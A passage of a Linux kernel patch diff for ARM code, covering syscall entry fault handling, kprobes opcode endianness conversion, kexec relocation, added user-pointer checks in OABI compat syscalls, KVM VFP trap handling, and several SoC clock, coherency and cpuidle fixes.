b/arch/arm/include/asm/pgtable.h index f324c98f45e2e..5cd9ba4dbe421 100644 --- a/arch/arm/include/asm/pgtable.h +++ b/arch/arm/include/asm/pgtable.h @@ -228,12 +228,16 @@ static inline pte_t *pmd_page_vaddr(pmd_t pmd) #define pte_clear(mm,addr,ptep) set_pte_ext(ptep, __pte(0), 0) +#define pte_isset(pte, val) ((u32)(val) == (val) ? pte_val(pte) & (val) \ + : !!(pte_val(pte) & (val))) +#define pte_isclear(pte, val) (!(pte_val(pte) & (val))) + #define pte_none(pte) (!pte_val(pte)) -#define pte_present(pte) (pte_val(pte) & L_PTE_PRESENT) -#define pte_write(pte) (!(pte_val(pte) & L_PTE_RDONLY)) -#define pte_dirty(pte) (pte_val(pte) & L_PTE_DIRTY) -#define pte_young(pte) (pte_val(pte) & L_PTE_YOUNG) -#define pte_exec(pte) (!(pte_val(pte) & L_PTE_XN)) +#define pte_present(pte) (pte_isset((pte), L_PTE_PRESENT)) +#define pte_write(pte) (pte_isclear((pte), L_PTE_RDONLY)) +#define pte_dirty(pte) (pte_isset((pte), L_PTE_DIRTY)) +#define pte_young(pte) (pte_isset((pte), L_PTE_YOUNG)) +#define pte_exec(pte) (pte_isclear((pte), L_PTE_XN)) #define pte_special(pte) (0) #define pte_present_user(pte) (pte_present(pte) && (pte_val(pte) & L_PTE_USER)) diff --git a/arch/arm/kernel/entry-armv.S b/arch/arm/kernel/entry-armv.S index e0a9759aa3794..a43dbe68c79ca 100644 --- a/arch/arm/kernel/entry-armv.S +++ b/arch/arm/kernel/entry-armv.S @@ -358,7 +358,8 @@ ENDPROC(__pabt_svc) .endm .macro kuser_cmpxchg_check -#if !defined(CONFIG_CPU_32v6K) && !defined(CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG) +#if !defined(CONFIG_CPU_32v6K) && defined(CONFIG_KUSER_HELPERS) && \ + !defined(CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG) #ifndef CONFIG_MMU #warning "NPTL on non MMU needs fixing" #else diff --git a/arch/arm/kernel/entry-common.S b/arch/arm/kernel/entry-common.S index bc5bc0a971319..f2646934c7142 100644 --- a/arch/arm/kernel/entry-common.S +++ b/arch/arm/kernel/entry-common.S @@ -32,7 +32,9 @@ ret_fast_syscall: UNWIND(.fnstart ) UNWIND(.cantunwind ) disable_irq @ disable interrupts - ldr r1, [tsk, #TI_FLAGS] + ldr r1, [tsk, #TI_FLAGS] @ re-check for syscall tracing + tst r1, #_TIF_SYSCALL_WORK + bne __sys_trace_return tst r1, #_TIF_WORK_MASK bne fast_work_pending asm_trace_hardirqs_on @@ -362,6 +364,16 @@ ENTRY(vector_swi) str r0, [sp, #S_OLD_R0] @ Save OLD_R0 zero_fp +#ifdef CONFIG_ALIGNMENT_TRAP + ldr ip, __cr_alignment + ldr ip, [ip] + mcr p15, 0, ip, c1, c0 @ update control register +#endif + + enable_irq + ct_user_exit + get_thread_info tsk + /* * Get the system call number. */ @@ -375,9 +387,9 @@ ENTRY(vector_swi) #ifdef CONFIG_ARM_THUMB tst r8, #PSR_T_BIT movne r10, #0 @ no thumb OABI emulation - ldreq r10, [lr, #-4] @ get SWI instruction + USER( ldreq r10, [lr, #-4] ) @ get SWI instruction #else - ldr r10, [lr, #-4] @ get SWI instruction + USER( ldr r10, [lr, #-4] ) @ get SWI instruction #endif #ifdef CONFIG_CPU_ENDIAN_BE8 rev r10, r10 @ little endian instruction @@ -392,22 +404,13 @@ ENTRY(vector_swi) /* Legacy ABI only, possibly thumb mode. */ tst r8, #PSR_T_BIT @ this is SPSR from save_user_regs addne scno, r7, #__NR_SYSCALL_BASE @ put OS number in - ldreq scno, [lr, #-4] + USER( ldreq scno, [lr, #-4] ) #else /* Legacy ABI only. */ - ldr scno, [lr, #-4] @ get SWI instruction -#endif - -#ifdef CONFIG_ALIGNMENT_TRAP - ldr ip, __cr_alignment - ldr ip, [ip] - mcr p15, 0, ip, c1, c0 @ update control register + USER( ldr scno, [lr, #-4] ) @ get SWI instruction #endif - enable_irq - ct_user_exit - get_thread_info tsk adr tbl, sys_call_table @ load syscall table pointer #if defined(CONFIG_OABI_COMPAT) @@ -442,6 +445,21 @@ local_restart: eor r0, scno, #__NR_SYSCALL_BASE @ put OS number back bcs arm_syscall b sys_ni_syscall @ not private func + +#if defined(CONFIG_OABI_COMPAT) || !defined(CONFIG_AEABI) + /* + * We failed to handle a fault trying to access the page + * containing the swi instruction, but we're not really in a + * position to return -EFAULT. Instead, return back to the + * instruction and re-enter the user fault handling path trying + * to page it in. This will likely result in sending SEGV to the + * current task. + */ +9001: + sub lr, lr, #4 + str lr, [sp, #S_PC] + b ret_fast_syscall +#endif ENDPROC(vector_swi) /* diff --git a/arch/arm/kernel/head.S b/arch/arm/kernel/head.S index f14561c829a9b..a05367526f47d 100644 --- a/arch/arm/kernel/head.S +++ b/arch/arm/kernel/head.S @@ -109,7 +109,7 @@ ENTRY(stext) sub r4, r3, r4 @ (PHYS_OFFSET - PAGE_OFFSET) add r8, r8, r4 @ PHYS_OFFSET #else - ldr r8, =PHYS_OFFSET @ always constant in this case + ldr r8, =PLAT_PHYS_OFFSET @ always constant in this case #endif /* diff --git a/arch/arm/kernel/kprobes-common.c b/arch/arm/kernel/kprobes-common.c index 18a76282970e6..380c20fb9c85a 100644 --- a/arch/arm/kernel/kprobes-common.c +++ b/arch/arm/kernel/kprobes-common.c @@ -14,6 +14,7 @@ #include #include #include +#include #include "kprobes.h" @@ -305,7 +306,8 @@ kprobe_decode_ldmstm(kprobe_opcode_t insn, struct arch_specific_insn *asi) if (handler) { /* We can emulate the instruction in (possibly) modified form */ - asi->insn[0] = (insn & 0xfff00000) | (rn << 16) | reglist; + asi->insn[0] = __opcode_to_mem_arm((insn & 0xfff00000) | + (rn << 16) | reglist); asi->insn_handler = handler; return INSN_GOOD; } @@ -334,13 +336,14 @@ prepare_emulated_insn(kprobe_opcode_t insn, struct arch_specific_insn *asi, #ifdef CONFIG_THUMB2_KERNEL if (thumb) { u16 *thumb_insn = (u16 *)asi->insn; - thumb_insn[1] = 0x4770; /* Thumb bx lr */ - thumb_insn[2] = 0x4770; /* Thumb bx lr */ + /* Thumb bx lr */ + thumb_insn[1] = __opcode_to_mem_thumb16(0x4770); + thumb_insn[2] = __opcode_to_mem_thumb16(0x4770); return insn; } - asi->insn[1] = 0xe12fff1e; /* ARM bx lr */ + asi->insn[1] = __opcode_to_mem_arm(0xe12fff1e); /* ARM bx lr */ #else - asi->insn[1] = 0xe1a0f00e; /* mov pc, lr */ + asi->insn[1] = __opcode_to_mem_arm(0xe1a0f00e); /* mov pc, lr */ #endif /* Make an ARM instruction unconditional */ if (insn < 0xe0000000) @@ -360,12 +363,12 @@ set_emulated_insn(kprobe_opcode_t insn, struct arch_specific_insn *asi, if (thumb) { u16 *ip = (u16 *)asi->insn; if (is_wide_instruction(insn)) - *ip++ = insn >> 16; - *ip++ = insn; + *ip++ = __opcode_to_mem_thumb16(insn >> 16); + *ip++ = __opcode_to_mem_thumb16(insn); return; } #endif - asi->insn[0] = insn; + asi->insn[0] = __opcode_to_mem_arm(insn); } /* diff --git a/arch/arm/kernel/kprobes-thumb.c b/arch/arm/kernel/kprobes-thumb.c index 6123daf397a7b..b82e798983c4f 100644 --- a/arch/arm/kernel/kprobes-thumb.c +++ b/arch/arm/kernel/kprobes-thumb.c @@ -163,9 +163,9 @@ t32_decode_ldmstm(kprobe_opcode_t insn, struct arch_specific_insn *asi) enum kprobe_insn ret = kprobe_decode_ldmstm(insn, asi); /* Fixup modified instruction to have halfwords in correct order...*/ - insn = asi->insn[0]; - ((u16 *)asi->insn)[0] = insn >> 16; - ((u16 *)asi->insn)[1] = insn & 0xffff; + insn = __mem_to_opcode_arm(asi->insn[0]); + ((u16 *)asi->insn)[0] = __opcode_to_mem_thumb16(insn >> 16); + ((u16 *)asi->insn)[1] = __opcode_to_mem_thumb16(insn & 0xffff); return ret; } @@ -1153,7 +1153,7 @@ t16_decode_hiregs(kprobe_opcode_t insn, struct arch_specific_insn *asi) { insn &= ~0x00ff; insn |= 0x001; /* Set Rdn = R1 and Rm = R0 */ - ((u16 *)asi->insn)[0] = insn; + ((u16 *)asi->insn)[0] = __opcode_to_mem_thumb16(insn); asi->insn_handler = t16_emulate_hiregs; return INSN_GOOD; } @@ -1182,8 +1182,10 @@ t16_decode_push(kprobe_opcode_t insn, struct arch_specific_insn *asi) * and call it with R9=SP and LR in the register list represented * by R8. */ - ((u16 *)asi->insn)[0] = 0xe929; /* 1st half STMDB R9!,{} */ - ((u16 *)asi->insn)[1] = insn & 0x1ff; /* 2nd half (register list) */ + /* 1st half STMDB R9!,{} */ + ((u16 *)asi->insn)[0] = __opcode_to_mem_thumb16(0xe929); + /* 2nd half (register list) */ + ((u16 *)asi->insn)[1] = __opcode_to_mem_thumb16(insn & 0x1ff); asi->insn_handler = t16_emulate_push; return INSN_GOOD; } @@ -1232,8 +1234,10 @@ t16_decode_pop(kprobe_opcode_t insn, struct arch_specific_insn *asi) * and call it with R9=SP and PC in the register list represented * by R8. */ - ((u16 *)asi->insn)[0] = 0xe8b9; /* 1st half LDMIA R9!,{} */ - ((u16 *)asi->insn)[1] = insn & 0x1ff; /* 2nd half (register list) */ + /* 1st half LDMIA R9!,{} */ + ((u16 *)asi->insn)[0] = __opcode_to_mem_thumb16(0xe8b9); + /* 2nd half (register list) */ + ((u16 *)asi->insn)[1] = __opcode_to_mem_thumb16(insn & 0x1ff); asi->insn_handler = insn & 0x100 ? t16_emulate_pop_pc : t16_emulate_pop_nopc; return INSN_GOOD; diff --git a/arch/arm/kernel/kprobes.c b/arch/arm/kernel/kprobes.c index a7b621ece23d3..49a87b6d0bf30 100644 --- a/arch/arm/kernel/kprobes.c +++ b/arch/arm/kernel/kprobes.c @@ -26,6 +26,7 @@ #include #include #include +#include #include #include "kprobes.h" @@ -62,10 +63,10 @@ int __kprobes arch_prepare_kprobe(struct kprobe *p) #ifdef CONFIG_THUMB2_KERNEL thumb = true; addr &= ~1; /* Bit 0 would normally be set to indicate Thumb code */ - insn = ((u16 *)addr)[0]; + insn = __mem_to_opcode_thumb16(((u16 *)addr)[0]); if (is_wide_instruction(insn)) { - insn <<= 16; - insn |= ((u16 *)addr)[1]; + u16 inst2 = __mem_to_opcode_thumb16(((u16 *)addr)[1]); + insn = __opcode_thumb32_compose(insn, inst2); decode_insn = thumb32_kprobe_decode_insn; } else decode_insn = thumb16_kprobe_decode_insn; @@ -73,7 +74,7 @@ int __kprobes arch_prepare_kprobe(struct kprobe *p) thumb = false; if (addr & 0x3) return -EINVAL; - insn = *p->addr; + insn = __mem_to_opcode_arm(*p->addr); decode_insn = arm_kprobe_decode_insn; #endif diff --git a/arch/arm/kernel/machine_kexec.c b/arch/arm/kernel/machine_kexec.c index c3ef920823b60..70ae735dec53f 100644 --- a/arch/arm/kernel/machine_kexec.c +++ b/arch/arm/kernel/machine_kexec.c @@ -14,10 +14,11 @@ #include #include #include +#include #include #include -extern const unsigned char relocate_new_kernel[]; +extern void relocate_new_kernel(void); extern const unsigned int relocate_new_kernel_size; extern unsigned long kexec_start_address; @@ -133,6 +134,8 @@ void machine_kexec(struct kimage *image) { unsigned long page_list; unsigned long reboot_code_buffer_phys; + unsigned long reboot_entry = (unsigned long)relocate_new_kernel; + unsigned long reboot_entry_phys; void *reboot_code_buffer; if (num_online_cpus() > 1) { @@ -156,18 +159,18 @@ void machine_kexec(struct kimage *image) /* copy our kernel relocation code to the control code page */ - memcpy(reboot_code_buffer, - relocate_new_kernel, relocate_new_kernel_size); + reboot_entry = fncpy(reboot_code_buffer, + reboot_entry, + relocate_new_kernel_size); + reboot_entry_phys = (unsigned long)reboot_entry + + (reboot_code_buffer_phys - (unsigned long)reboot_code_buffer); - - flush_icache_range((unsigned long) reboot_code_buffer, - (unsigned long) reboot_code_buffer + KEXEC_CONTROL_PAGE_SIZE); printk(KERN_INFO "Bye!\n"); if (kexec_reinit) kexec_reinit(); - soft_restart(reboot_code_buffer_phys); + soft_restart(reboot_entry_phys); } void arch_crash_save_vmcoreinfo(void) diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c index 6954df51b646a..b91eb6a17afbd 100644 --- a/arch/arm/kernel/ptrace.c +++ b/arch/arm/kernel/ptrace.c @@ -733,8 +733,8 @@ static int vfp_set(struct task_struct *target, if (ret) return ret; - vfp_flush_hwstate(thread); thread->vfpstate.hard = new_vfp; + vfp_flush_hwstate(thread); return 0; } diff --git a/arch/arm/kernel/relocate_kernel.S b/arch/arm/kernel/relocate_kernel.S index d0cdedf4864dc..95858966d84ec 100644 --- a/arch/arm/kernel/relocate_kernel.S +++ b/arch/arm/kernel/relocate_kernel.S @@ -2,10 +2,12 @@ * relocate_kernel.S - put the kernel image in place to boot */ +#include #include - .globl relocate_new_kernel -relocate_new_kernel: + .align 3 /* not needed for this code, but keeps fncpy() happy */ + +ENTRY(relocate_new_kernel) ldr r0,kexec_indirection_page ldr r1,kexec_start_address @@ -79,6 +81,8 @@ kexec_mach_type: kexec_boot_atags: .long 0x0 +ENDPROC(relocate_new_kernel) + relocate_new_kernel_end: .globl relocate_new_kernel_size diff --git a/arch/arm/kernel/sys_oabi-compat.c b/arch/arm/kernel/sys_oabi-compat.c index 3e94811690ce1..a0aee80b608de 100644 --- a/arch/arm/kernel/sys_oabi-compat.c +++ b/arch/arm/kernel/sys_oabi-compat.c @@ -275,8 +275,12 @@ asmlinkage long sys_oabi_epoll_wait(int epfd, mm_segment_t fs; long ret, err, i; - if (maxevents <= 0 || maxevents > (INT_MAX/sizeof(struct epoll_event))) + if (maxevents <= 0 || + maxevents > (INT_MAX/sizeof(*kbuf)) || + maxevents > (INT_MAX/sizeof(*events))) return -EINVAL; + if (!access_ok(VERIFY_WRITE, events, sizeof(*events) * maxevents)) + return -EFAULT; kbuf = kmalloc(sizeof(*kbuf) * maxevents, GFP_KERNEL); if (!kbuf) return -ENOMEM; @@ -313,6 +317,8 @@ asmlinkage long sys_oabi_semtimedop(int semid, if (nsops < 1 || nsops > SEMOPM) return -EINVAL; + if (!access_ok(VERIFY_READ, tsops, sizeof(*tsops) * nsops)) + return -EFAULT; sops = kmalloc(sizeof(*sops) * nsops, GFP_KERNEL); if (!sops) return -ENOMEM; diff --git a/arch/arm/kernel/traps.c b/arch/arm/kernel/traps.c index 5a671b35996a0..2a0c8581ee911 100644 --- a/arch/arm/kernel/traps.c +++ b/arch/arm/kernel/traps.c @@ -350,15 +350,17 @@ void arm_notify_die(const char *str, struct pt_regs *regs, int is_valid_bugaddr(unsigned long pc) { #ifdef CONFIG_THUMB2_KERNEL - unsigned short bkpt; + u16 bkpt; + u16 insn = __opcode_to_mem_thumb16(BUG_INSTR_VALUE); #else - unsigned long bkpt; + u32 bkpt; + u32 insn = __opcode_to_mem_arm(BUG_INSTR_VALUE); #endif if (probe_kernel_address((unsigned *)pc, bkpt)) return 0; - return bkpt == BUG_INSTR_VALUE; + return bkpt == insn; } #endif diff --git a/arch/arm/kvm/interrupts.S b/arch/arm/kvm/interrupts.S index 723bcef5db872..5f5692ec72473 100644 --- a/arch/arm/kvm/interrupts.S +++ b/arch/arm/kvm/interrupts.S @@ -159,13 +159,9 @@ __kvm_vcpu_return: @ Don't trap coprocessor accesses for host kernel set_hstr vmexit set_hdcr vmexit - set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11)) + set_hcptr vmexit, (HCPTR_TTA | HCPTR_TCP(10) | HCPTR_TCP(11)), after_vfp_restore #ifdef CONFIG_VFPv3 - @ Save floating point registers we if let guest use them. - tst r2, #(HCPTR_TCP(10) | HCPTR_TCP(11)) - bne after_vfp_restore - @ Switch VFP/NEON hardware state to the host's add r7, vcpu, #VCPU_VFP_GUEST store_vfp_state r7 @@ -177,6 +173,8 @@ after_vfp_restore: @ Restore FPEXC_EN which we clobbered on entry pop {r2} VFPFMXR FPEXC, r2 +#else +after_vfp_restore: #endif @ Reset Hyp-role @@ -467,7 +465,7 @@ switch_to_guest_vfp: push {r3-r7} @ NEON/VFP used. Turn on VFP access. - set_hcptr vmexit, (HCPTR_TCP(10) | HCPTR_TCP(11)) + set_hcptr vmtrap, (HCPTR_TCP(10) | HCPTR_TCP(11)) @ Switch VFP/NEON hardware state to the guest's add r7, r0, #VCPU_VFP_HOST diff --git a/arch/arm/kvm/interrupts_head.S b/arch/arm/kvm/interrupts_head.S index 6f18695a09cb5..b6f6137f59846 100644 --- a/arch/arm/kvm/interrupts_head.S +++ b/arch/arm/kvm/interrupts_head.S @@ -570,8 +570,13 @@ vcpu .req r0 @ vcpu pointer always in r0 .endm /* Configures the HCPTR (Hyp Coprocessor Trap Register) on entry/return - * (hardware reset value is 0). Keep previous value in r2. */ -.macro set_hcptr operation, mask + * (hardware reset value is 0). Keep previous value in r2. + * An ISB is emited on vmexit/vmtrap, but executed on vmexit only if + * VFP wasn't already enabled (always executed on vmtrap). + * If a label is specified with vmexit, it is branched to if VFP wasn't + * enabled. + */ +.macro set_hcptr operation, mask, label = none mrc p15, 4, r2, c1, c1, 2 ldr r3, =\mask .if \operation == vmentry @@ -580,6 +585,17 @@ vcpu .req r0 @ vcpu pointer always in r0 bic r3, r2, r3 @ Don't trap defined coproc-accesses .endif mcr p15, 4, r3, c1, c1, 2 + .if \operation != vmentry + .if \operation == vmexit + tst r2, #(HCPTR_TCP(10) | HCPTR_TCP(11)) + beq 1f + .endif + isb + .if \label != none + b \label + .endif +1: + .endif .endm /* Configures the HDCR (Hyp Debug Configuration Register) on entry/return diff --git a/arch/arm/mach-at91/clock.c b/arch/arm/mach-at91/clock.c index da841885d01c7..64f9f1045539b 100644 --- a/arch/arm/mach-at91/clock.c +++ b/arch/arm/mach-at91/clock.c @@ -947,6 +947,7 @@ static int __init at91_clock_reset(void) } at91_pmc_write(AT91_PMC_SCDR, scdr); + at91_pmc_write(AT91_PMC_PCDR, pcdr); if (cpu_is_sama5d3()) at91_pmc_write(AT91_PMC_PCDR1, pcdr1); diff --git a/arch/arm/mach-at91/pm.h b/arch/arm/mach-at91/pm.h index 2f5908f0b8c5e..d8af0755bddc8 100644 --- a/arch/arm/mach-at91/pm.h +++ b/arch/arm/mach-at91/pm.h @@ -37,7 +37,7 @@ static inline void at91rm9200_standby(void) " mcr p15, 0, %0, c7, c0, 4\n\t" " str %5, [%1, %2]" : - : "r" (0), "r" (AT91_BASE_SYS), "r" (AT91RM9200_SDRAMC_LPR), + : "r" (0), "r" (at91_ramc_base[0]), "r" (AT91RM9200_SDRAMC_LPR), "r" (1), "r" (AT91RM9200_SDRAMC_SRR), "r" (lpr)); } diff --git a/arch/arm/mach-dove/common.c b/arch/arm/mach-dove/common.c index cbdb88b82375e..77c8786eee404 100644 --- a/arch/arm/mach-dove/common.c +++ b/arch/arm/mach-dove/common.c @@ -226,7 +226,7 @@ void __init dove_init_early(void) orion_time_set_base(TIMER_VIRT_BASE); mvebu_mbus_init("marvell,dove-mbus", BRIDGE_WINS_BASE, BRIDGE_WINS_SZ, - DOVE_MC_WINS_BASE, DOVE_MC_WINS_SZ); + DOVE_MC_WINS_BASE, DOVE_MC_WINS_SZ, 0); } static int __init dove_find_tclk(void) diff --git a/arch/arm/mach-imx/clk-imx6q.c b/arch/arm/mach-imx/clk-imx6q.c index 0b9e437719bd3..ed00c9e3bfc65 100644 --- a/arch/arm/mach-imx/clk-imx6q.c +++ b/arch/arm/mach-imx/clk-imx6q.c @@ -301,8 +301,8 @@ int __init mx6q_clocks_init(void) post_div_table[1].div = 1; post_div_table[2].div = 1; video_div_table[1].div = 1; - video_div_table[2].div = 1; - }; + video_div_table[3].div = 1; + } /* type name parent_name base div_mask */ clk[pll1_sys] = imx_clk_pllv3(IMX_PLLV3_SYS, "pll1_sys", "osc", base, 0x7f); @@ -515,7 +515,7 @@ int __init mx6q_clocks_init(void) clk[gpmi_io] = imx_clk_gate2("gpmi_io", "enfc", base + 0x78, 28); clk[gpmi_apb] = imx_clk_gate2("gpmi_apb", "usdhc3", base + 0x78, 30); clk[rom] = imx_clk_gate2("rom", "ahb", base + 0x7c, 0); - clk[sata] = imx_clk_gate2("sata", "ipg", base + 0x7c, 4); + clk[sata] = imx_clk_gate2("sata", "ahb", base + 0x7c, 4); clk[sdma] = imx_clk_gate2("sdma", "ahb", base + 0x7c, 6); clk[spba] = imx_clk_gate2("spba", "ipg", base + 0x7c, 12); clk[ssi1_ipg] = imx_clk_gate2("ssi1_ipg", "ipg", base + 0x7c, 18); diff --git a/arch/arm/mach-kirkwood/common.c b/arch/arm/mach-kirkwood/common.c index 3cd200fd9ce31..8965a2a766ca4 100644 --- a/arch/arm/mach-kirkwood/common.c +++ b/arch/arm/mach-kirkwood/common.c @@ -531,7 +531,7 @@ void __init kirkwood_init_early(void) mvebu_mbus_init("marvell,kirkwood-mbus", BRIDGE_WINS_BASE, BRIDGE_WINS_SZ, - DDR_WINDOW_CPU_BASE, DDR_WINDOW_CPU_SZ); + DDR_WINDOW_CPU_BASE, DDR_WINDOW_CPU_SZ, 0); } int kirkwood_tclk; diff --git a/arch/arm/mach-mv78xx0/common.c b/arch/arm/mach-mv78xx0/common.c index 75062eff24940..b972d89db464d 100644 --- a/arch/arm/mach-mv78xx0/common.c +++ b/arch/arm/mach-mv78xx0/common.c @@ -337,11 +337,11 @@ void __init mv78xx0_init_early(void) if (mv78xx0_core_index() == 0) mvebu_mbus_init("marvell,mv78xx0-mbus", BRIDGE_WINS_CPU0_BASE, BRIDGE_WINS_SZ, - DDR_WINDOW_CPU0_BASE, DDR_WINDOW_CPU_SZ); + DDR_WINDOW_CPU0_BASE, DDR_WINDOW_CPU_SZ, 0); else mvebu_mbus_init("marvell,mv78xx0-mbus", BRIDGE_WINS_CPU1_BASE, BRIDGE_WINS_SZ, - DDR_WINDOW_CPU1_BASE, DDR_WINDOW_CPU_SZ); + DDR_WINDOW_CPU1_BASE, DDR_WINDOW_CPU_SZ, 0); } void __init_refok mv78xx0_timer_init(void) diff --git a/arch/arm/mach-mvebu/armada-370-xp.c b/arch/arm/mach-mvebu/armada-370-xp.c index 1c48890bb72b2..4377c3484a626 100644 --- a/arch/arm/mach-mvebu/armada-370-xp.c +++ b/arch/arm/mach-mvebu/armada-370-xp.c @@ -66,7 +66,8 @@ void __init armada_370_xp_init_early(void) ARMADA_370_XP_MBUS_WINS_BASE, ARMADA_370_XP_MBUS_WINS_SIZE, ARMADA_370_XP_SDRAM_WINS_BASE, - ARMADA_370_XP_SDRAM_WINS_SIZE); + ARMADA_370_XP_SDRAM_WINS_SIZE, + coherency_available()); #ifdef CONFIG_CACHE_L2X0 l2x0_of_init(0, ~0UL); diff --git a/arch/arm/mach-mvebu/coherency.c b/arch/arm/mach-mvebu/coherency.c index 8278960066c33..ea26ebb5bb5ad 100644 --- a/arch/arm/mach-mvebu/coherency.c +++ b/arch/arm/mach-mvebu/coherency.c @@ -137,16 +137,54 @@ static struct notifier_block mvebu_hwcc_platform_nb = { .notifier_call = mvebu_hwcc_platform_notifier, }; +/* + * Keep track of whether we have IO hardware coherency enabled or not. + * On Armada 370's we will not be using it for example. We need to make + * that available [through coherency_available()] so the mbus controller + * doesn't enable the IO coherency bit in the attribute bits of the + * chip selects. + */ +static int coherency_enabled; + +int coherency_available(void) +{ + return coherency_enabled; +} + int __init coherency_init(void) { struct device_node *np; + /* + * The coherency fabric is needed: + * - For coherency between processors on Armada XP, so only + * when SMP is enabled. + * - For coherency between the processor and I/O devices, but + * this coherency requires many pre-requisites (write + * allocate cache policy, shareable pages, SMP bit set) that + * are only meant in SMP situations. + * + * Note that this means that on Armada 370, there is currently + * no way to use hardware I/O coherency, because even when + * CONFIG_SMP is enabled, is_smp() returns false due to the + * Armada 370 being a single-core processor. To lift this + * limitation, we would have to find a way to make the cache + * policy set to write-allocate (on all Armada SoCs), and to + * set the shareable attribute in page tables (on all Armada + * SoCs except the Armada 370). Unfortunately, such decisions + * are taken very early in the kernel boot process, at a point + * where we don't know yet on which SoC we are running. + */ + if (!is_smp()) + return 0; + np = of_find_matching_node(NULL, of_coherency_table); if (np) { pr_info("Initializing Coherency fabric\n"); coherency_base = of_iomap(np, 0); coherency_cpu_base = of_iomap(np, 1); set_cpu_coherent(cpu_logical_map(smp_processor_id()), 0); + coherency_enabled = 1; bus_register_notifier(&platform_bus_type, &mvebu_hwcc_platform_nb); } diff --git a/arch/arm/mach-mvebu/coherency.h b/arch/arm/mach-mvebu/coherency.h index 2f428137f6fed..1501a4e5eea0d 100644 --- a/arch/arm/mach-mvebu/coherency.h +++ b/arch/arm/mach-mvebu/coherency.h @@ -19,6 +19,7 @@ int coherency_get_cpu_count(void); #endif int set_cpu_coherent(int cpu_id, int smp_group_id); +int coherency_available(void); int coherency_init(void); #endif /* __MACH_370_XP_COHERENCY_H */ diff --git a/arch/arm/mach-omap2/control.c b/arch/arm/mach-omap2/control.c index 2adb2683f074d..6124da1a07d4f 100644 --- a/arch/arm/mach-omap2/control.c +++ b/arch/arm/mach-omap2/control.c @@ -323,7 +323,8 @@ void omap3_save_scratchpad_contents(void) scratchpad_contents.public_restore_ptr = virt_to_phys(omap3_restore_3630); else if (omap_rev() != OMAP3430_REV_ES3_0 && - omap_rev() != OMAP3430_REV_ES3_1) + omap_rev() != OMAP3430_REV_ES3_1 && + omap_rev() != OMAP3430_REV_ES3_1_2) scratchpad_contents.public_restore_ptr = virt_to_phys(omap3_restore); else diff --git a/arch/arm/mach-omap2/cpuidle34xx.c b/arch/arm/mach-omap2/cpuidle34xx.c index e18709d3b95d9..38e1bdcaf015d 100644 --- a/arch/arm/mach-omap2/cpuidle34xx.c +++ b/arch/arm/mach-omap2/cpuidle34xx.c @@ -34,6 +34,7 @@ #include "pm.h" #include "control.h" #include "common.h" +#include "soc.h" /* Mach specific information to be recorded in the C-state driver_data */ struct omap3_idle_statedata { @@ -322,6 +323,69 @@ static struct cpuidle_driver omap3_idle_driver = { .safe_state_index = 0, }; +/* + * Numbers based on measurements made in October 2009 for PM optimized kernel + * with CPU freq enabled on device Nokia N900. Assumes OPP2 (main idle OPP, + * and worst case latencies). + */ +static struct cpuidle_driver omap3430_idle_driver = { + .name = "omap3430_idle", + .owner = THIS_MODULE, + .states = { + { + .enter = omap3_enter_idle_bm, + .exit_latency = 110 + 162, + .target_residency = 5, + .name = "C1", + .desc = "MPU ON + CORE ON", + }, + { + .enter = omap3_enter_idle_bm, + .exit_latency = 106 + 180, + .target_residency = 309, + .name = "C2", + .desc = "MPU ON + CORE ON", + }, + { + .enter = omap3_enter_idle_bm, + .exit_latency = 107 + 410, + .target_residency = 46057, + .name = "C3", + .desc = "MPU RET + CORE ON", + }, + { + .enter = omap3_enter_idle_bm, + .exit_latency = 121 + 3374, + .target_residency = 46057, + .name = "C4", + .desc = "MPU OFF + CORE ON", + }, + { + .enter = omap3_enter_idle_bm, + .exit_latency = 855 + 1146, + .target_residency = 46057, + .name = "C5", + .desc = "MPU RET + CORE RET", + }, + { + .enter = omap3_enter_idle_bm, + .exit_latency = 7580 + 4134, + .target_residency = 484329, + .name = "C6", + .desc = "MPU OFF + CORE RET", + }, + { + .enter = omap3_enter_idle_bm, + .exit_latency = 7505 + 15274, + .target_residency = 484329, + .name = "C7", + .desc = "MPU OFF + CORE OFF", + }, + }, + .state_count = ARRAY_SIZE(omap3_idle_data), + .safe_state_index = 0, +}; + /* Public functions */ /** @@ -340,5 +404,8 @@ int __init omap3_idle_init(void) if (!mpu_pd || !core_pd || !per_pd || !cam_pd) return -ENODEV; - return cpuidle_register(&omap3_idle_driver, NULL); + if (cpu_is_omap3430()) + return cpuidle_register(&omap3430_idle_driver, NULL); + else + return cpuidle_register(&omap3_idle_driver, NULL); } diff --git a/arch/arm/mach-omap2/omap_hwmod.c b/arch/arm/mach-omap2/omap_hwmod.c index 44c609a1ec5db..62e40a9fffa91 100644 --- a/arch/arm/mach-omap2/omap_hwmod.c +++ b/arch/arm/mach-omap2/omap_hwmod.c @@ -2177,6 +2177,8 @@ static int _enable(struct omap_hwmod *oh) oh->mux->pads_dynamic))) { omap_hwmod_mux(oh->mux, _HWMOD_STATE_ENABLED); _reconfigure_io_chain(); + } else if (oh->flags & HWMOD_FORCE_MSTANDBY) { + _reconfigure_io_chain(); } _add_initiator_dep(oh, mpu_oh); @@ -2283,6 +2285,8 @@ static int _idle(struct omap_hwmod *oh) if (oh->mux && oh->mux->pads_dynamic) { omap_hwmod_mux(oh->mux, _HWMOD_STATE_IDLE); _reconfigure_io_chain(); + } else if (oh->flags & HWMOD_FORCE_MSTANDBY) { + _reconfigure_io_chain(); } oh->_state = _HWMOD_STATE_IDLE; diff --git a/arch/arm/mach-omap2/sleep34xx.S b/arch/arm/mach-omap2/sleep34xx.S index d1dedc8195ed2..eafd120b53f1b 100644 --- a/arch/arm/mach-omap2/sleep34xx.S +++ b/arch/arm/mach-omap2/sleep34xx.S @@ -203,23 +203,8 @@ save_context_wfi: */ ldr r1, kernel_flush blx r1 - /* - * The kernel doesn't interwork: v7_flush_dcache_all in particluar will - * always return in Thumb state when CONFIG_THUMB2_KERNEL is enabled. - * This sequence switches back to ARM. Note that .align may insert a - * nop: bx pc needs to be word-aligned in order to work. - */ - THUMB( .thumb ) - THUMB( .align ) - THUMB( bx pc ) - THUMB( nop ) - .arm - b omap3_do_wfi - -/* - * Local variables - */ +ENDPROC(omap34xx_cpu_suspend) omap3_do_wfi_sram_addr: .word omap3_do_wfi_sram kernel_flush: @@ -364,10 +349,7 @@ exit_nonoff_modes: * =================================== */ ldmfd sp!, {r4 - r11, pc} @ restore regs and return - -/* - * Local variables - */ +ENDPROC(omap3_do_wfi) sdrc_power: .word 